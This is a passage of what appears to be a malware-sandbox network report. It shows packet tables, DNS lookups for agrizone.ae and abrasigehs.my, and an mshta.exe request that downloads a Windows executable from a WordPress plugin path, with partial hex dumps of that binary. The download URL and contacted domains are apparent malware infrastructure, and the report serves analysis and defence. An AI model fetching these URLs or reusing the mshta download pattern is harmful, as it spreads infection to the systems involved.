Dec 16, 2024 15:19:26.271811008 CET	49873	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:26.273415089 CET	49873	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:26.273425102 CET	443	49873	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:26.273684978 CET	443	49873	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:26.313662052 CET	49873	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:26.336271048 CET	49873	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:26.336317062 CET	49873	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:26.336404085 CET	443	49873	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:27.276760101 CET	443	49873	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:27.276916981 CET	443	49873	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:27.277055979 CET	49873	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:27.278482914 CET	49873	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:27.278507948 CET	443	49873	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:27.278520107 CET	49873	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:27.278526068 CET	443	49873	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:27.288005114 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:27.288059950 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:27.288166046 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:27.288474083 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:27.288487911 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:28.505656958 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:28.505806923 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:28.507359982 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:28.507366896 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:28.507658005 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:28.508974075 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:28.509005070 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:28.509040117 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.270498991 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.270543098 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.270601034 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.270628929 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.270656109 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.270656109 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.270684004 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.270703077 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.270735025 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.278673887 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.288382053 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.290750980 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.290757895 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.296066046 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.298018932 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.298024893 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.344898939 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.390256882 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.438672066 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.462117910 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.466136932 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.466204882 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.466217041 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.466242075 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.466356993 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.466720104 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.466732979 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.466743946 CET	49879	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.466748953 CET	443	49879	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.821829081 CET	49887	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.821882963 CET	443	49887	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:29.821986914 CET	49887	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.822338104 CET	49887	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:29.822351933 CET	443	49887	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:31.053916931 CET	443	49887	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:31.054078102 CET	49887	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:31.059210062 CET	49887	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:31.059223890 CET	443	49887	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:31.059511900 CET	443	49887	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:31.062637091 CET	49887	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:31.062798977 CET	49887	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:31.062833071 CET	443	49887	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:31.916598082 CET	443	49887	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:31.916692972 CET	443	49887	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:31.916867971 CET	49887	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:31.916902065 CET	49887	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:32.072071075 CET	49893	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:32.072124004 CET	443	49893	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:32.072227955 CET	49893	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:32.072581053 CET	49893	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:32.072596073 CET	443	49893	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:33.285583019 CET	443	49893	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:33.285660982 CET	49893	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:33.287045956 CET	49893	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:33.287062883 CET	443	49893	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:33.287415981 CET	443	49893	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:33.289201975 CET	49893	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:33.289351940 CET	49893	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:33.289412022 CET	443	49893	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:33.289474010 CET	49893	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:33.335335016 CET	443	49893	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:34.163297892 CET	443	49893	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:34.163433075 CET	443	49893	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:34.163481951 CET	49893	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:34.163574934 CET	49893	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:34.163594007 CET	443	49893	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:34.379412889 CET	49899	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:34.379451990 CET	443	49899	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:34.379534006 CET	49899	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:34.380062103 CET	49899	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:34.380073071 CET	443	49899	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:35.606904030 CET	443	49899	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:35.606976032 CET	49899	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:35.608479977 CET	49899	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:35.608491898 CET	443	49899	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:35.608764887 CET	443	49899	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:35.609901905 CET	49899	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:35.610238075 CET	49899	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:35.610260963 CET	443	49899	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:35.610332012 CET	49899	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:35.610337973 CET	443	49899	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:36.885307074 CET	443	49899	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:36.885449886 CET	443	49899	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:36.885509968 CET	49899	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:36.885668993 CET	49899	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:36.885700941 CET	443	49899	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:37.619249105 CET	49908	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:37.619297981 CET	443	49908	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:37.619962931 CET	49908	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:37.620330095 CET	49908	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:37.620342016 CET	443	49908	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:38.842490911 CET	443	49908	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:38.842602015 CET	49908	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:38.843877077 CET	49908	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:38.843889952 CET	443	49908	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:38.844149113 CET	443	49908	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:38.845576048 CET	49908	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:38.845665932 CET	49908	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:38.845670938 CET	443	49908	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:39.690005064 CET	443	49908	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:39.690345049 CET	443	49908	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:39.690459967 CET	49908	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:39.690608978 CET	49908	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:39.690628052 CET	443	49908	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:39.854549885 CET	49914	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:39.854604006 CET	443	49914	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:39.854686022 CET	49914	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:39.855000973 CET	49914	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:39.855015993 CET	443	49914	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:41.072556019 CET	443	49914	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:41.072705984 CET	49914	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:41.073915958 CET	49914	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:41.073928118 CET	443	49914	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:41.074223995 CET	443	49914	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:41.075397015 CET	49914	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:41.075524092 CET	49914	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:41.075530052 CET	443	49914	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:43.161536932 CET	443	49914	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:43.161638975 CET	443	49914	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:43.161762953 CET	49914	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:43.162616968 CET	49914	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:43.162636995 CET	443	49914	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:43.171214104 CET	49922	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:43.171252012 CET	443	49922	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:43.171351910 CET	49922	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:43.171694994 CET	49922	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:43.171706915 CET	443	49922	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:44.388892889 CET	443	49922	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:44.388969898 CET	49922	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:44.390388966 CET	49922	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:44.390412092 CET	443	49922	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:44.390652895 CET	443	49922	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:44.392177105 CET	49922	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:44.392210960 CET	49922	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:44.392257929 CET	443	49922	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:45.180483103 CET	443	49922	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:45.180597067 CET	443	49922	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:45.180802107 CET	49922	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:45.180917978 CET	49922	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:45.180937052 CET	443	49922	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:45.180948973 CET	49922	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:45.180954933 CET	443	49922	104.21.64.1	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 15:18:04.203206062 CET	52145	53	192.168.2.5	1.1.1.1
Dec 16, 2024 15:18:04.749829054 CET	53	52145	1.1.1.1	192.168.2.5
Dec 16, 2024 15:18:22.465610027 CET	60489	53	192.168.2.5	1.1.1.1
Dec 16, 2024 15:18:35.178330898 CET	60241	53	192.168.2.5	1.1.1.1
Dec 16, 2024 15:18:51.330837965 CET	62890	53	192.168.2.5	1.1.1.1
Dec 16, 2024 15:19:24.566756010 CET	62077	53	192.168.2.5	1.1.1.1
Dec 16, 2024 15:19:25.012331009 CET	53	62077	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 15:18:04.203206062 CET	192.168.2.5	1.1.1.1	0xdc91	Standard query (0)	agrizone.ae	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:18:22.465610027 CET	192.168.2.5	1.1.1.1	0x125e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:18:35.178330898 CET	192.168.2.5	1.1.1.1	0x3943	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:18:51.330837965 CET	192.168.2.5	1.1.1.1	0x3b9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:19:24.566756010 CET	192.168.2.5	1.1.1.1	0x248a	Standard query (0)	abrasigehs.my	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 15:18:04.749829054 CET	1.1.1.1	192.168.2.5	0xdc91	No error (0)	agrizone.ae		208.91.198.106	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:18:19.324848890 CET	1.1.1.1	192.168.2.5	0x95d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:18:19.324848890 CET	1.1.1.1	192.168.2.5	0x95d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:18:22.684834003 CET	1.1.1.1	192.168.2.5	0x125e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:18:35.316361904 CET	1.1.1.1	192.168.2.5	0x3943	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:18:51.469028950 CET	1.1.1.1	192.168.2.5	0x3b9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 15:19:25.012331009 CET	1.1.1.1	192.168.2.5	0x248a	No error (0)	abrasigehs.my		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:19:25.012331009 CET	1.1.1.1	192.168.2.5	0x248a	No error (0)	abrasigehs.my		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:19:25.012331009 CET	1.1.1.1	192.168.2.5	0x248a	No error (0)	abrasigehs.my		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:19:25.012331009 CET	1.1.1.1	192.168.2.5	0x248a	No error (0)	abrasigehs.my		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:19:25.012331009 CET	1.1.1.1	192.168.2.5	0x248a	No error (0)	abrasigehs.my		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:19:25.012331009 CET	1.1.1.1	192.168.2.5	0x248a	No error (0)	abrasigehs.my		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:19:25.012331009 CET	1.1.1.1	192.168.2.5	0x248a	No error (0)	abrasigehs.my		104.21.16.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

agrizone.ae

abrasigehs.my

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	208.91.198.106	443	7112	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:18:06 UTC	373	OUT	GET /wp-content/plugins/jetpack/modules/markdown/jetpackhandler HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: agrizone.ae Connection: Keep-Alive
2024-12-16 14:18:06 UTC	231	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:18:06 GMT Server: nginx/1.25.5 Content-Length: 469360 Last-Modified: Mon, 16 Dec 2024 12:55:14 GMT X-Server-Cache: true X-Proxy-Cache: HIT Accept-Ranges: bytes Connection: close
2024-12-16 14:18:06 UTC	7961	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a0 52 e6 d8 e4 33 88 8b e4 33 88 8b e4 33 88 8b 00 43 8b 8a e7 33 88 8b 00 43 8c 8a fc 33 88 8b 00 43 8d 8a e3 33 88 8b 00 43 89 8a f9 33 88 8b e4 33 89 8b cd 32 88 8b 00 43 80 8a f0 33 88 8b 00 43 77 8b e5 33 88 8b 00 43 8a 8a e5 33 88 8b 52 69 63 68 e4 33 88 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 fd b9 f0 9e 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$R333C3C3C3C332C3Cw3C3Rich3PEL
2024-12-16 14:18:06 UTC	231	IN	Data Raw: 00 00 00 45 78 63 65 70 74 69 6f 6e 00 00 00 52 65 74 75 72 6e 4e 74 00 00 00 00 52 65 74 75 72 6e 48 72 00 00 00 00 4c 6f 67 4e 74 00 00 00 4c 6f 67 48 72 00 00 00 46 61 69 6c 46 61 73 74 00 00 00 00 25 00 68 00 73 00 28 00 25 00 75 00 29 00 5c 00 25 00 68 00 73 00 21 00 25 00 70 00 3a 00 20 00 00 00 00 00 25 00 68 00 73 00 21 00 25 00 70 00 3a 00 20 00 00 00 00 00 28 00 63 00 61 00 6c 00 6c 00 65 00 72 00 3a 00 20 00 25 00 70 00 29 00 20 00 00 00 25 00 68 00 73 00 28 00 25 00 64 00 29 00 20 00 74 00 69 00 64 00 28 00 25 00 78 00 29 00 20 00 25 00 30 00 38 00 58 00 20 00 25 00 77 00 73 00 00 00 00 00 20 00 20 00 20 00 20 00 00 00 00 00 4d 00 73 00 67 00 3a 00 5b 00 25 00 77 00 73 00 Data Ascii: ExceptionReturnNtReturnHrLogNtLogHrFailFast%hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws
2024-12-16 14:18:06 UTC	8192	IN	Data Raw: 5d 00 20 00 00 00 00 00 43 00 61 00 6c 00 6c 00 43 00 6f 00 6e 00 74 00 65 00 78 00 74 00 3a 00 5b 00 25 00 68 00 73 00 5d 00 20 00 00 00 00 00 5b 00 25 00 68 00 73 00 28 00 25 00 68 00 73 00 29 00 5d 00 0a 00 00 00 5b 00 25 00 68 00 73 00 5d 00 0a 00 00 00 00 00 0a 00 00 00 77 69 6c 00 6f 6e 65 63 6f 72 65 5c 69 6e 74 65 72 6e 61 6c 5c 73 64 6b 5c 69 6e 63 5c 77 69 6c 5c 6f 70 65 6e 73 6f 75 72 63 65 5c 77 69 6c 5c 72 65 73 6f 75 72 63 65 2e 68 00 00 5f 00 70 00 30 00 00 00 57 69 6c 45 72 72 6f 72 5f 30 33 00 41 00 63 00 74 00 69 00 76 00 65 00 00 00 00 00 46 00 69 00 6c 00 74 00 65 00 72 00 54 00 79 00 70 00 65 00 00 00 00 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 53 00 4d 00 30 00 3a 00 25 00 64 00 3a 00 25 00 64 00 3a 00 25 00 68 00 73 00 00 00 00 00 00 Data Ascii: ] CallContext:[%hs] [%hs(%hs)][%hs]wilonecore\internal\sdk\inc\wil\opensource\wil\resource.h_p0WilError_03ActiveFilterTypeLocal\SM0:%d:%d:%hs
2024-12-16 14:18:06 UTC	8192	IN	Data Raw: cc cc cc 8b ff 55 8b ec 51 8b 45 08 53 56 8b f1 57 89 86 a4 00 00 00 8b 45 0c 89 86 a8 00 00 00 ff 15 94 21 41 00 ff 75 18 8b 86 a4 00 00 00 33 db 53 53 53 ff 70 04 8b ce ff 15 a4 21 41 00 8b f8 85 ff 0f 88 ce 00 00 00 6a 01 8b ce ff 15 94 20 41 00 8b f8 85 ff 0f 88 ba 00 00 00 6a 01 8b ce ff 15 98 20 41 00 8b f8 85 ff 0f 88 a6 00 00 00 8b 8e a4 00 00 00 56 ff 15 48 21 41 00 6a 01 8b ce ff 15 24 21 41 00 8d 45 fc 50 ff 15 bc 20 41 00 8b f8 85 ff 78 7f ff 75 fc 8b ce ff 15 9c 20 41 00 8b f8 85 ff 79 0b 8b 4d fc ff 15 c0 20 41 00 eb 63 6a 10 bf 05 40 00 80 e8 c3 9c 00 00 8b d0 59 85 d2 74 14 8b 8e a4 00 00 00 8b 49 04 89 5a 04 89 5a 08 89 4a 0c eb 02 8b d3 89 96 ac 00 00 00 85 d2 74 30 53 8d 45 fc 8b ca 50 0f b7 45 10 53 56 68 90 16 40 00 50 ff b6 a8 00 00 Data Ascii: UQESVWE!Au3SSSp!Aj Aj AVH!Aj$!AEP Axu AyM Acj@YtIZZJt0SEPESVh@P
2024-12-16 14:18:06 UTC	7939	IN	Data Raw: 4e 78 e8 55 26 00 00 8d 4e 60 e8 4d 26 00 00 8d 4e 48 e8 45 26 00 00 8d 4e 30 e8 3d 26 00 00 8d 4e 18 e8 35 26 00 00 8b ce 5e e9 2d 26 00 00 cc cc cc cc cc cc 6a 10 b8 d4 f9 40 00 e8 9b 8b 00 00 8b f1 89 75 f0 8b 5d 08 85 db 75 0a b8 57 00 07 80 e9 fb 00 00 00 e8 a8 08 00 00 85 c0 0f 88 ee 00 00 00 8b 43 14 b9 b8 1e 40 00 66 8b 10 66 3b 11 75 1e 66 85 d2 74 15 66 8b 50 02 66 3b 51 02 75 0f 83 c0 04 83 c1 04 66 85 d2 75 de 33 c0 eb 05 1b c0 83 c8 01 83 4d fc ff 8b 0b 83 e9 10 85 c0 74 53 e8 c7 ea ff ff 51 8b ce 8d 78 10 57 e8 09 27 00 00 8d 4f f0 8b f0 e8 0c d4 ff ff 85 f6 0f 85 81 00 00 00 8b 0b 83 e9 10 e8 9f ea ff ff 8d 70 10 89 75 ec 8b 7d f0 8b cf 56 c7 45 fc 01 00 00 00 e8 44 25 00 00 83 4d fc ff 8d 4e f0 e8 d6 d3 ff ff eb 54 83 c6 48 89 75 ec e8 6e Data Ascii: NxU&N`M&NHE&N0=&N5&^-&j@u]uWC@ff;uftfPf;Qufu3MtSQxW'Opu}VED%MNTHun
2024-12-16 14:18:06 UTC	8192	IN	Data Raw: fd ff ff c6 45 fc 03 50 8d 8d d8 fd ff ff e8 18 04 00 00 8d 85 e4 fd ff ff c6 45 fc 04 50 8d 8d dc fd ff ff e8 02 04 00 00 6a 17 68 5c 21 40 00 8d 8d d4 fd ff ff c6 45 fc 05 e8 58 05 00 00 6a 0d 68 8c 21 40 00 8d 8d d8 fd ff ff e8 46 05 00 00 6a 0e 68 a8 21 40 00 8d 8d dc fd ff ff e8 34 05 00 00 8d 85 e0 fd ff ff 8b cb 50 e8 64 03 00 00 ff b5 d4 fd ff ff ff 15 6c 22 41 00 bf 38 10 41 00 83 f8 ff 74 37 6a 04 68 c8 21 40 00 8b cb e8 02 05 00 00 ff b5 d4 fd ff ff ff 15 68 22 41 00 a1 38 10 41 00 3b c7 74 14 f6 40 1c 10 74 0e ff 70 14 ff 70 10 6a 2c 59 e8 86 de ff ff ff b5 d8 fd ff ff ff 15 6c 22 41 00 83 f8 ff 74 37 6a 09 68 d4 21 40 00 8b cb e8 ba 04 00 00 ff b5 d8 fd ff ff ff 15 68 22 41 00 a1 38 10 41 00 3b c7 74 14 f6 40 1c 10 74 0e ff 70 14 ff 70 10 6a Data Ascii: EPEPjh\!@EXjh!@Fjh!@4Pdl"A8At7jh!@h"A8A;t@tppj,Yl"At7jh!@h"A8A;t@tppj
2024-12-16 14:18:06 UTC	8192	IN	Data Raw: 1b ff 83 e7 03 e8 c5 00 00 00 85 c0 75 0a b8 57 00 07 80 e9 a1 00 00 00 6b f6 18 8b 86 4c 10 41 00 48 83 e8 01 0f 85 8c 00 00 00 8b 86 50 10 41 00 8d 4d c0 6a 00 51 50 ff b6 44 10 41 00 89 45 c0 ff 15 48 23 41 00 85 c0 75 14 ff 15 d8 21 41 00 85 c0 7e 64 0f b7 c0 0d 00 00 07 80 eb 5a 8b 45 c4 a8 01 74 51 83 e0 fe 83 be 48 10 41 00 43 89 45 c4 75 10 e8 82 ad ff ff 84 c0 74 07 81 4d c4 00 10 00 00 57 8d 45 c0 50 ff b6 50 10 41 00 ff b6 48 10 41 00 ff 15 48 23 41 00 83 7d 0c 00 75 15 6a 00 ff b6 48 10 41 00 6a 1a 68 ff ff 00 00 ff 15 64 23 41 00 33 c0 8b 4d fc 5f 33 cd 5e e8 38 41 00 00 c9 c2 08 00 cc cc cc cc cc cc 8b 09 6b c2 18 8b 80 40 10 41 00 66 8b 10 66 3b 11 75 1e 66 85 d2 74 15 66 8b 50 02 66 3b 51 02 75 0f 83 c0 04 83 c1 04 66 85 d2 75 de 33 c9 eb Data Ascii: uWkLAHPAMjQPDAEH#Au!A~dZEtQHACEutMWEPPAHAH#A}ujHAjhd#A3M_3^8Ak@Aff;uftfPf;Qufu3
